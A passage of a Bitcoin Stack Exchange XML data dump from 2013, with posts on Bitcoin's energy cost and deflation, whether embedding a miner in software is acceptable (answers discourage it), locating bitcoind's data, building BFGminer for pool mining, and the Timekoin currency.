below);&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Will the energy cost and deflationary nature of Bitcoins doom the currency to obscurity?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Off-blockchain solutions are acceptable answers, but will require centralising a large portion of the Bitcoin network. Or put another way: Trust moves back to centralised banking facilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my guess is these two problems will doom a decentralised Bitcoin, but I open the question to the floor. :-)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background (Due Diligence)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A high transactional energy cost is bad&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The green line in this chart reflects the &lt;em&gt;power per dollar&lt;/em&gt; in the&#xA;  global economy; of which a tiny fraction is consumed by maintaining&#xA;  the banking network.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yldu6.png&quot; alt=&quot;A chart of global wealth and energy consumption&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;sub&gt;(Source: Dr Tim Garrett, &lt;a href=&quot;http://www.inscc.utah.edu/~tgarrett/Economics/Physics_of_the_economy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;A physics based economics&#xA;  model&quot;&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As the distributed Bitcoin cryptocurrency doesn't use laws or other&#xA;  centralised off-blockchain enforcements to protect the transaction&#xA;  ledger, the energy cost per transaction can not be a fixed constant&#xA;  like normal currencies. It must be a percentage of &lt;a href=&quot;http://en.wikipedia.org/wiki/World_energy_consumption&quot; rel=&quot;nofollow noreferrer&quot;&gt;global energy&#xA;  consumption&lt;/a&gt;&lt;sup&gt;2&lt;/sup&gt; to discourage state actors with a bevy of&#xA;  power stations from subverting the global Bitcoin economy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No society will choose a currency that requires &lt;code&gt;O(N)&lt;/code&gt; energy to&#xA;  transfer a bank note instead of &lt;code&gt;O(1)&lt;/code&gt; energy to transfer a bank note&#xA;  (where &lt;code&gt;N&lt;/code&gt; is global energy consumption). Doing so would impoverish&#xA;  human development&lt;sup&gt;3&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A deflationary currency is bad&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Long story &lt;a href=&quot;https://history.stackexchange.com/q/10560/2830&quot;&gt;short&lt;/a&gt;, a deflationary currency requires a &lt;a href=&quot;http://en.wikipedia.org/wiki/Post_growth&quot; rel=&quot;nofollow noreferrer&quot;&gt;post-growth&#xA;  social model&lt;/a&gt;; which while probably a good thing, we don't actually&#xA;  have right now.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In a classic &quot;growth&quot; economy, you must expand the money supply to&#xA;  reflect the size and velocity of economic activity in society. If you&#xA;  do not and the level of economic activity ever contracts (and there&#xA;  are variety of regular reasons this may occur such as a natural&#xA;  disaster or &lt;a href=&quot;http://en.wikipedia.org/wiki/Population_pyramid&quot; rel=&quot;nofollow noreferrer&quot;&gt;demographic bulge&lt;/a&gt;), then you can enter a deflationary&#xA;  death spiral as each contraction contaminates other economic activities&#xA;  that assumed an &lt;a href=&quot;http://en.wikipedia.org/wiki/Return_on_investment&quot; rel=&quot;nofollow noreferrer&quot;&gt;ROI&lt;/a&gt; in the form of interest that is now worth less or&#xA;  worthless&lt;sup&gt;4&lt;/sup&gt;. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A digital specie-based currency is deflationary in that it restricts&#xA;  the money supply. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Inflation and hyperinflation &lt;em&gt;are&lt;/em&gt; problems, but&#xA;  problems of unchecked greed, speculation and social inequality that&#xA;  don't disappear by sweeping the economy under a deflationary rug.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;1. Although &lt;a href=&quot;https://bitcoin.stackexchange.com/q/66/6679&quot;&gt;&quot;Will deflation destroy Bitcoin?&quot;&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/10060/6679&quot;&gt;&quot;How much energy will the Bitcoin network eventually consume?&quot;&lt;/a&gt; come pretty close, I really want a question that collates and settles this for newcomers, without undue eager puppy optimism from early adopters. :-)&lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;2. Production actually, but sane organisms consume energy they produce instead of throwing it away; so global consumption and production can be considered linearly proportional, though not &lt;code&gt;1:1&lt;/code&gt; due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Trophic_level&quot; rel=&quot;nofollow noreferrer&quot;&gt;transmission inefficiencies&lt;/a&gt;.&lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;3. To put this in perspective, you could provide everyone on Earth with universal education, healthcare, social security as an &lt;code&gt;O(N)&lt;/code&gt; energy cost. &lt;/sub&gt;&lt;br /&gt;&#xA;&lt;sub&gt;4. Don't get me started on economists of the &lt;a href=&quot;http://pragcap.com/understanding-why-austrian-economics-is-flawed&quot; rel=&quot;nofollow noreferrer&quot;&gt;Austrian-school&lt;/a&gt;. They might as well be sock puppets for the entitled mega-rich for all the benefit their pseudo-science has on ordinary human beings. &lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="5406" LastEditDate="2017-12-23T19:01:15.797" LastActivityDate="2021-05-15T19:58:06.047" Title="Will the energy cost and deflationary nature of Bitcoins doom the currency to obscurity?" Tags="|energy-consumption|deflation|" AnswerCount="7" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="1" CreationDate="2013-10-20T04:50:57.460" Score="2" ViewCount="1328" Body="&lt;p&gt;So say I am writing an open source program, or any program really, and I embed a Bitcoin miner in the code, so that when people run my program, they would be earning Bitcoins for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Would this be legal?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Would I get sued for doing this?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why this is important is because I love free and open source software, the only problem being that this doesn't pay the bills. I fully intend to at least inform the users of my program that there is a Bitcoin miner embedded in the program, if not also make a non-miner version available.&lt;/p&gt;&#xA;" OwnerUserId="7172" LastEditorUserId="6679" LastEditDate="2013-10-20T17:07:27.770" LastActivityDate="2013-10-21T08:21:43.363" Title="Is it legal to embed a miner in another open source program for benifit of the programmer?" Tags="|development|legal|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="2" ParentId="13888" CreationDate="2013-10-20T05:25:08.530" Score="5" Body="&lt;p&gt;If you're mining in a pool, &lt;code&gt;bitcoind&lt;/code&gt; doesn't even have anything to do with the system. It doesn't need to be running, it doesn't even need to exist on your hard drive. The remote pool does that for you. &lt;/p&gt;&#xA;" OwnerUserId="7173" LastActivityDate="2013-10-20T05:25:08.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13893" PostTypeId="2" ParentId="13891" CreationDate="2013-10-20T05:29:56.243" Score="6" Body="&lt;p&gt;Well, lets look at the outcomes for the user:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your user burns hundreds of times their normal power usage mining, thousands of dollars of their money goes into their power bill&lt;/li&gt;&#xA;&lt;li&gt;your user potentially ruins their hardware (Mac hardware will die, there's no question of that)&lt;/li&gt;&#xA;&lt;li&gt;your users computer becomes sluggish and unresponsive&lt;/li&gt;&#xA;&lt;li&gt;their virus protection removes the miner, as they're almost always marked as malware&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The outcomes for you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you make a couple of cents a day&lt;/li&gt;&#xA;&lt;li&gt;you look like a complete dirtbag to your users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem worthwhile to me. Just ask them for donations if you really think your software deserves financing. &lt;/p&gt;&#xA;" OwnerUserId="7173" LastActivityDate="2013-10-20T05:29:56.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13894" PostTypeId="1" AcceptedAnswerId="13896" CreationDate="2013-10-20T05:34:53.373" Score="1" ViewCount="637" Body="&lt;p&gt;I have a fresh install of Ubuntu 12 and just installed bitcoind. How do i find out where its installed and where is it downloading the entire blockchain?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2018-03-08T07:39:17.300" Title="Installed Bitcoind on my Ubuntu server, but where does the blockchain get downloaded?" Tags="|blockchain|bitcoind|" AnswerCount="2" CommentCount="0" ClosedDate="2018-03-12T04:42:22.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="13895" PostTypeId="1" AcceptedAnswerId="37692" CreationDate="2013-10-20T05:36:34.067" Score="6" ViewCount="4129" Body="&lt;p&gt;Just installed bitcoind on my server and wanted to find a cheat sheet for the bitcoind commands. Where would i find them with a description and example of what each command does?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-02-22T08:07:29.050" LastActivityDate="2020-06-25T14:52:22.687" Title="Where can i get all the commands with descriptions for Bitcoind on my linux server?" Tags="|bitcoind|api|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13896" PostTypeId="2" ParentId="13894" CreationDate="2013-10-20T05:38:03.640" Score="1" Body="&lt;p&gt;Based on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;, it is shored here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Linux&#xA;By default Bitcoin will put its data here:&#xA;~/.bitcoin/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-20T05:38:03.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13897" PostTypeId="2" ParentId="13895" CreationDate="2013-10-20T05:41:08.700" Score="4" Body="&lt;p&gt;Most probably you are looking for something like &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;the API calls list&lt;/a&gt; or &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Running Bitcoin&lt;/a&gt;. Another option (suggested by Pieter Wuille) is to use &lt;code&gt;bitcoind help&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2015-05-31T20:53:48.233" LastActivityDate="2015-05-31T20:53:48.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13898" PostTypeId="2" ParentId="13888" CreationDate="2013-10-20T05:47:05.913" Score="2" Body="&lt;p&gt;I think you are slightly misunderstanding, but you are on a logical path. You need a mining application/program (I suggest BFGminer, if you are on windows then consider guiminer). So what you have is your own bitcoin instance which you could connect to and mine from... And if you some how manage to get a high diff share from that computer possible in a few thousand years you would get a block. (Hence mining in a pool)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick tl;dr because it looks like you are using a nix box:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you have git as well as your general building tools.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/luke-jr/bfgminer.git&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To compile:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen&#xA;./configure --enable-cpumining&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The “readme” is here: &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README&quot; rel=&quot;nofollow&quot;&gt;https://github.com/luke-jr/bfgminer/blob/bfgminer/README&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have finished making BFGminer, go over to slush pool and&#xA;log in. Then, in that right section,is a list of workers under the heading &quot;Workers&quot;. It’ll bring you to a page asking you for a login suffix (it is the way to designate each unique computer mining but having it tied to your account) you also are asked to use a password for that miner. I suggest not using your log in password since it is displayed without any encryption on your main log in thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you entered your login suffix (For example If my &lt;code&gt;username&lt;/code&gt; was &lt;em&gt;&quot;Joe&quot;&lt;/em&gt; and my computer was called &lt;em&gt;&quot;Feet&quot;&lt;/em&gt; (sorry inside joke with some friends have to use it), my suffix would be &lt;em&gt;&quot;.feet&quot;&lt;/em&gt;. My entire worker name would be &lt;em&gt;&quot;Joe.feet&quot;&lt;/em&gt;.  My selected password would be &lt;em&gt;&quot;toes&quot;&lt;/em&gt; for this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you made a suffix and a password, you click &quot;Save&quot; and you are now back at the main portal. Just again for the sake of repeating. My new worker (also called miner or instance depending on the pool) would be named &quot;Joe.feet&quot; and the password would be &quot;toes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;Joe.feet&quot; would be the username I would enter in my mining appplication (BFGMiner). the password would be password I used (in my example &quot;toes&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have created both a miner and have built BFGminer, figure out if you are on SSE2 or SSE4... once you know which SSE you are using, you can then start mining on slush's pool by using this command (make sure you recurse in to the directory that bfgminer is at). (fyi you could make it a bash script too) (run it in screen as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your on SSE2 run this command other wise i will have the other command a few lines below (again use screen... the command is simply typed screen. You then hit enter twice.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are recursed in to the folder that BFGminer is in and run this code. I am assuming my username on slush pool is &quot;Joe&quot; my worker is called &quot;feet&quot; and my worker password is &quot;toes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SSE2 version of command&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bfgminer -a sse2_64 -o stratum+tcp://stratum.bitcoin.cz:3333 -u Joe.feet -p toes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SSE4 version of the command&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bfgminer -a sse4_64 -o stratum+tcp://stratum.bitcoin.cz:3333 -u Joe.feet -p toes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you have done those steps you should see your miner come up to a screen where it says it was connected. At that point you are mining. Please be aware that you have equipment that will probably cost more to run in a day than you will make in profits. &lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="6218" LastEditDate="2014-10-03T23:31:03.973" LastActivityDate="2014-10-03T23:31:03.973" CommentCount="5" CommunityOwnedDate="2014-10-03T20:09:11.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="13899" PostTypeId="2" ParentId="13891" CreationDate="2013-10-20T05:50:37.750" Score="2" Body="&lt;p&gt;If you are informing users about this in a user agreement, then this is legal (but I am not a layer). Another thing is that most of the users are not reading what is written in the agreement and just assume that everything is ok. Read &lt;a href=&quot;http://www.foxnews.com/tech/2010l/04/15/online-shoppers-unknowingly-sold-souls/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; as an example. So if later they figure out that they were screwed up they most probably will be really mad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing is that you will gain absolutely nothing, except of bad reputation. Most probably no one would use your software because there will be tons of other apps which are doing completely the same without using 98% of CPU or GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I told that you will get absolutely nothing - this is because with a current hash rate, there is no point of mining with CPU or GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think that your software would be so cool, that millions of user would use it - just ask for donation and you will get much more from people who would be happy to give you money.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-20T05:50:37.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="2" ParentId="13890" CreationDate="2013-10-20T06:16:31.570" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Will the energy cost and deflationary nature of Bitcoins doom the&#xA;  currency to obscurity?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;--It really depends. As it is, you can use technology like the raspberry pi hooked up to a solar panel/windturbine/water turbine/even methane from our friends the cow. This would (in my eyes) make the initial investment for renewable energy be about the only time you need to spend money directly on electricity. In fact it could not only cause the cost to mine bitcoin go down, it might even increase the availability of alternative energies which would not only lower the cost of energy but increase the popularity of bitcoin. I can see how one could just set set a weatherized miner on the roof and make some free money with the miner doing its thing, heck you probably could sell the power company some green energy while you are at it. Make bitcoin and fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;what about the cost to produce the mining units&quot; well glad you have asked, a few years ago it would be crazy to have more than 1-5 gh/s... I remember reading of one mmining company who spent something like 50 grand (i could be wrong) to buy fpga (field programmable arrays) to get i think 50 gh/s... Now that same 50 gh/s is worth much less. KNC for example has a 200 gh/s miner for ~~$3000 USD. Not only is this cheaper, this is more energy efficient too, so no upgrade to the power source should be needed on a theoretical solar miner once a design is finally published for a truly unique universal solar powered miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i said before, you could do it now with a rasp pi, a few Block erupters (didn't say how fast or much money you would return)and hook it in to a solar panel for a total cost of probably about $200 usd. The only problem with this idea is the need for an internet connection. Well obviously if the pi has a wireless card and you have a connection already available you can use it. One possibility as well would be an ad hoc network where there are a large enoough base of wireless miners peering that you can get the block chain to you through one of them. wireless network i believe is the word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or another idea could be to do &quot;solar hosting&quot; where you buy up half of the state of new mexico from Walter White set up your operation and watch for problems. An outside data center almost.you could run all of these miners either wired, or through wireless networking. Not only would this business venture be unique, you could get tons of government dollars to buy the solar panels. It would also increase the GDP of the state, and add new jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-If you use this idea and start a successful business, i would like to get a royalty ;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Off-blockchain solutions are acceptable answers, but will require&#xA;  centralising a large portion of the Bitcoin network. Or put another&#xA;  way: Trust moves back to centralised banking facilities.&#xA;  Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Agreed&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So my guess is these two problems will doom a decentralised Bitcoin,&#xA;  but I open the question to the floor. :-)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;--My response detailed above, while centralizing to a point, would not go as far as your system would.  if you really want to go in to crazy theories. Implant a mining device on someone's right hand (or their forehead :P ), every time your hand moves the chip gets power already provided by the human body. You are almost guaranteed to have enough close p2p connections living in a city, and as you travel around the chips all update each other. That's a very decentralized way to go i think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the future will show us what it is... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember scientists believed the yetti did not exist until a few days ago when the dna of a unique species of bear was found. Nor until a few years ago did they know that any creature could ever be described as the Leviathan or sea serpent of sailor myths. Nor are scientists correct when they argue you can not do any form of time travel. We are all time traveling right now. Just unidirectional (and we all know that now). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But intriguing post... yet. i don't think this is a question though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But thanks for allowing me to give away some ideas so others can make some free money off of my idea. It was a pleasure to discuss this concept with you.&#xA;Criticisms are welcome as long as you are not flaming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;Adding additional comments as requested by OP&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would you like fold your interesting comments into your answer? I think they would represent a complete standpoint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Comments I attempted to answer&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thanks for your reply. So: Powering an O(N) banking system could use&#xA;  currently under-utilised renewables. Would this be an accurate summary&#xA;  of your answer? An interesting idea for micro-grid computing&#xA;  independent of the future of Bitcoin. But what happens when a O(1)&#xA;  service like SpaceMonkey or CPUsage comes along and pays micro-grid&#xA;  providers more than Bitcoin ($1 vs $1/N)? Or put another way: While&#xA;  O(N) networks are power hungry enough to innovate new energy sources,&#xA;  O(1) services will then follow and out-compete them. – LateralFractal&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;O(1) and O(N) in this context means per person. If viewed as a&#xA;  total network, SpaceMoney/CPUsage/Visa/Mastercard are O(N) and Bitcoin&#xA;  is O(N^2) – LateralFractal&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yes that is the tl;dr of my post. (someone down voted it without even expressing their opinion. So I up voted this thread in return because you actually discuss not harass) And very valid point, plus you said when and not if (smart person, because a good business plan is always stolen). I think part of the idea that bitcoiners miss right now is this: &lt;strong&gt;&lt;em&gt;Bitcoin could be inflatable&lt;/em&gt;&lt;/strong&gt;. True there will be 21 million bitcoins. But currently a satoshi (1/100,000,000 BTC) is the lowest decimal place. &lt;strong&gt;&lt;em&gt;Who is to say that in the future the code won't be changed to allow smaller sizes&lt;/em&gt;&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An off shoot/fork might even take over. One example is alt coins. Some have more currency, some have less. Some use &lt;em&gt;inflation&lt;/em&gt; (PPCoin) some use &lt;em&gt;demurrage&lt;/em&gt; (FreiCoin). Some use more novel methods of calculation. One reason that bitcoin may be at an advantage is due to the ease of designing an application specific circuit (asic) for double sha. Where as storage and cpu usage are dynamic. mastercard and visa are companies that could exploit a double sha asic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My random thought/question (and this actually is a criticism of bitcoin too), &lt;strong&gt;just like gold, there is only a finite amount of bitcoin&lt;/strong&gt;. &lt;em&gt;Yet gold is the standard&lt;/em&gt;.&#xA;Now, with &lt;strong&gt;gold being abundant on asteroids&lt;/strong&gt;, and &lt;em&gt;foreseeable&lt;/em&gt; asteroid mining in the &lt;strong&gt;near&lt;/strong&gt; future, Gold will plummet. Nations with tons of gold will be worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin was the first cryptocurrency of its time. And IMO is BETA software. An eventual divergence among coins will happen, or another will take over (as is occurring now). Either way. Probably I'm one of the most realistic crypto fanatics. &lt;strong&gt;&lt;em&gt;It could all go to crap tomorrow&lt;/em&gt;&lt;/strong&gt;. China/america/iran/korea/mexico/canada/UN/etc could all &lt;em&gt;kill the network&lt;/em&gt; with their computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still a fun hobby. It has changed the world... But TBH if it would be a &quot;worldclass&quot; currency. There's a lot of changes to be made, and a lot of holes to fill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doomed to fail? well, it depends. How big will it get is the real question. &lt;em&gt;Will it be profitable to mine once block rewards run out&lt;/em&gt;.&#xA;Best of all: will it then become a &lt;em&gt;store of wealth&lt;/em&gt;, that is &lt;strong&gt;only mined to continue the storage of the wealth&lt;/strong&gt;? Like paying a banker for vault space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for some good chat. Feel free to comment. once gain the future will show us what it is... (aka neither of us know the future :P ) &lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="5651" LastEditDate="2013-10-21T15:39:17.450" LastActivityDate="2013-10-21T15:39:17.450" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13902" PostTypeId="2" ParentId="13891" CreationDate="2013-10-20T07:37:49.880" Score="1" Body="&lt;p&gt;The problem is that it would be a very inefficient way for users to pay you; sort of a very indirect way of paying your electricity bill. With a lot of bandwidth consumed to manage your bot farm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Micro-transactions would work better.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-20T07:37:49.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13903" PostTypeId="2" ParentId="13891" CreationDate="2013-10-20T09:01:50.527" Score="1" Body="&lt;p&gt;Sounds pretty shady to me. There have been some malware schemes that do this, though usually users are not being informed on what's going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to do this, make sure you clearly tell people what you are doing. Don't bury this in the bottom of some user agreement or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd probably protect your reputation by offering a program without the embedded Bitcoin miner. But why would any user choose to download the Bitcoin embedded miner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, taking over the GPU and processes of another user for your own benefit seems ethically questionable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now something that might improve your reputation would be to offer to donate the mined Bitcoins to a charity of your choice. This way, people who download the program will know that you are just trying to help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you inform the user of what you are doing, however, and they agree to it, there shouldn't be any legal implications. &lt;/p&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="7072" LastEditDate="2013-10-21T08:21:43.363" LastActivityDate="2013-10-21T08:21:43.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="2" ParentId="13895" CreationDate="2013-10-20T09:13:31.793" Score="4" Body="&lt;p&gt;Use &lt;code&gt;bitcoin-cli help&lt;/code&gt; to get a list of all RPC commands.&#xA;Use &lt;code&gt;bitcoin-cli help &amp;lt;command&amp;gt;&lt;/code&gt; to get information about RPC command &lt;code&gt;&amp;lt;command&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="32356" LastEditDate="2016-02-22T05:06:51.747" LastActivityDate="2016-02-22T05:06:51.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13905" PostTypeId="2" ParentId="7923" CreationDate="2013-10-20T11:30:49.583" Score="-2" Body="&lt;p&gt;you can also purchase XRP on website : www.ripplewise.com &lt;/p&gt;&#xA;" OwnerUserId="7178" LastActivityDate="2013-10-20T11:30:49.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="2" ParentId="4059" CreationDate="2013-10-20T14:16:25.420" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Timekoin is not trying to solve anything related to bitcoin. It is a different way to use digital online encrypted currency. The website has technical documents to read, but the concepts and implementations can not be easily summarized into a few sentences.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions and Currency creation are two separate process. So transactions can be processed like clockwork every 5 minutes. Currency creation is created in slow, gradually growing amounts. Unlike bitcoin, where currency creation stalls transaction recording and vast amounts of electricity are needed to have peers compete against each other in a lottery fashion.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Similarity to Bitcoin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Uses open p2p network to replicate transactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Decentralized database of history transactions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. Public viewable by anyone&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difference to Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Uses 1536 bit transaction encryption vs 256 bit for bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Transactions are protected by both RSA encryption and SHA hashing in a design modeled after naturally occurring quantum entanglement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. Transactions do not depend on currency creation, the network can function without any currency being created as long as currency exist to spend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D. Currency creation is a shared process among all server operators that participate, so there is no spending CPU/Electricity to fight over who creates currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E. Currency creation can dynamically expand and contract as the network needs the currency and is not limited to who can afford the most processing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F. Software is just an implementation of a concept, so anyone can create any kind of application or device to interface with the Timekoin network as long as it follows the rules of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G. There is no cost to transactions, no micro fees, no decimal point transactions, everything is whole numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;H. The Timekoin concept for digital encrypted currency is very easy to understand, so easy that many people over-think it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I. Built from the ground up with security as the guiding factor for both transactions and network health.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could go 